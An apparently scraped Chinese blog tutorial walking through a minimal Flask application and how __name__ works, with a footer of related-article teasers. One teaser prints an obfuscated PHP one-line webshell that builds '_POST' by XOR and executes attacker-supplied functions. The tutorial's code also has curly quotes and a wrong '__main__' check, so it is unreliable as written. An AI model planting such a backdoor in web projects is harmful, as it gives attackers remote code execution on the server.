第一个flask应用代码详解

上一篇我们创建了第一个简单的flask应用程序,这一篇我们来看一下,这个最简单的应用程序都做了哪些事

  1. 第一行代码,导入了flask类

from flask import Flask

  1. 第二步创建了Flask类的实例

app = Flask(__name__)

这行代码里有一个参数name,这个参数用到告诉flask你的application的名字,官方有一句话:

If you are using a single module,name is always the correct value. If you however are using a package, it’s usually recommended to hardcode the name of your package there.

意思就是说,如果是单一的应用,用name就可以了,如果是一个应用程序包,就hardcode一个名字给这个参数。比如:
app = Flask(“myApp”)

由于目前我们的应用都相对简单,所以统一使用name作为参数。

  1. 使用route()修饰器注明通过什么样的url可以访问我们的函数,同时在函数中返回要显示在浏览器中的信息
@app.route(‘/‘)
def hello_world():
    return ‘Hello World!‘

可以通过修改route()修饰器实现不同的url解析,比如,我们改成如下的样子

@app.route(‘/index‘)
def hello_world():
    return ‘Hello World!‘

再次运行程序,访问/index才能显示出hello world, 如图所示:

  1. 最后调用run()方法,运行flask web应用程序
if __name__ == ‘__main__‘:
    app.run()

其中if name==’main’的意思是,如果此文件是直接运行的才会执行app.run()这个方法,如果是通过import在其它py文件中调用的话是不会执行的
比如我们修改code.py中的hello_world方法,如下:

@app.route(‘/index‘)
def hello_world():
    if __name__==‘main‘:
        return ‘Hello World!‘
    else:
        return "hello my name is "+__name__

即当namemain时还是执行原来的逻辑,返回hello world,如果不是则输出此时的名字。

然后我们新建一个sub.py文件然后导入code.py,并且执行hello_world方法

import Code

def CallCodeFun():
    result = Code.hello_world()
    print(result)

CallCodeFun()

执行sub.py后,输入结果如下:

此时的name是Code而不是main
而此时,在sub.py中加一句print(name)可以发现sub.py中的name变成了main

由此我们可以得出 name 如果是 main 那么代表他是一个入口文件,直接执行的

原文地址:http://blog.51cto.com/12482328/2080144

时间: 2024-10-17 18:20:04

第一个flask应用代码详解的相关文章

一个一句话后门代码详解

神秘的一句话后门代码内容: <?php    @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]); ?> 代码作用: 以上代码即是PH

分针网—IT教育:nodeJS新建一个项目及代码详解

有了解nodejs的童鞋们知道,nodejs有很多的依赖,那么我们在新建一个项目的时候,如何快速的导入这些依赖从而创建一个nodejs项目呢,接下来会详细介绍. 这里安利一个前端开发工具--webstorm.真的很好用,除了有点(或许不是一点点)占内存,打开的时候有点慢.在工作中用这个会很方便(在考虑要不要写一篇前端开发工具的比较,吼吼吼~(≧▽≦)/~) ?下面我们来用命令创建一个nodejs项目. 1.我们在c盘的ws文件夹下创建项目. 打开DOS窗口,进入到ws文件夹 2.在此文件夹下创建

代码 | 用ALNS框架求解一个TSP问题 - 代码详解

写在前面 前面好多篇文章,我们总算是把整个ALNS的代码框架给大家说明白了.不知道大家对整个框架了解了没有.不过打铁要趁热,心急了要吃热豆腐.今天就来实战一下,教大家怎么用ALNS的代码框架,求解一个老生常谈的TSP问题,so,get ready? 01 文件说明 整个项目由多个文件组成,为了大家更好了解各个文件的内容以及他们之间的关系,小编特地做了一份表格说明. 类名或文件名 说明 main 主文件 TSPSolution Solution的定义和各种相关操作 TSP_LS LocalSear

tiny_cnn代码详解(3)——层间继承关系

在上一篇博文中我们顺利将tiny_cnn的程序调试通过,在这篇博文中我们尝试从整体角度给出对tiny_cnn这个深度学习框架的解读,重点论述一下其各个层直接类封装的继承关系. 一.卷积神经网络快速入门 tiny_cnn作为卷积神经网络的一种实现形式,在探讨其框架结构之前,首先需要简要介绍一些卷积神经网络相关的知识.首先,给出经典卷积神经网络的网络结构: 这个是经典的LeNet-5的网络结构图,五层网络.最早用于支票上的手写数字识别,也是最早的商业化的深度学习模型.从上图中可以看出,卷积神经网络主

Github-jcjohnson/torch-rnn代码详解

Github-jcjohnson/torch-rnn代码详解 [email protected] http://www.cnblogs.com/swje/ 作者:Zhouwan  2016-3-18 声明: 1)本文仅供学术交流,非商用.所以每一部分具体的参考资料并没有详细对应.如果某部分不小心侵犯了大家的利益,还望海涵,并联系博主删除. 2)本人才疏学浅,整理总结的时候难免出错,还望各位前辈不吝指正,谢谢. 请联系:[email protected] 或[email protected] 本研

jQuery选择器代码详解(四)——Expr.preFilter

原创文章,转载请注明出处,多谢! Expr.preFilter是tokenize方法中对ATTR.CHILD.PSEUDO三种选择器进行预处理的方法.具体如下: Expr.preFilter : { "ATTR" : function(match) { /* * 完成如下任务: * 1.属性名称解码 * 2.属性值解码 * 3.若判断符为~=,则在属性值两边加上空格 * 4.返回最终的mtach对象 * * match[1]表示属性名称, * match[1].replace(rune

JQuery选择器代码详解(三)——tokenize方法

原创文章,转载请注明出处,多谢! /* * tokenize函数是选择器解析的核心函数,它将选择器转换成两级数组groups * 举例: * 若选择器为"div.class,span",则解析后的结果为: * group[0][0] = {type:'TAG',value:'div',matches:match} * group[0][1] = {type:'CLASS',value:'.class',matches:match} * group[1][0] = {type:'TAG'

开胃小菜——impress.js代码详解

README 友情提醒,下面有大量代码,由于网页上代码显示都是同一个颜色,所以推荐大家复制到自己的代码编辑器中看. 今天闲来无事,研究了一番impress.js的源码.由于之前研究过jQuery,看impress.js并没有遇到太大的阻碍,读代码用了一个小时,写这篇文章用了近三个小时,果然写文章比读代码费劲多了. 个人感觉impress.js的代码量(算上注释一共不到1000行)和难度(没有jQuery的各种black magic= =)都非常适合新手学习,所以写一个总结,帮助大家理解源码. 考

jQuery选择器代码详解(七)——elementMatcher函数

要读懂Sizzle的Compile执行过程,首先需要弄清楚涉及的各个子程序的功能和关键变量和作用,我将逐一对jQuery-1.10.2版本的Compile代码进行说明,望能给予大家帮助. elementMatcher(matchers) 1.源码 function elementMatcher(matchers) { return matchers.length > 1 ? function(elem, context, xml) { var i = matchers.length; while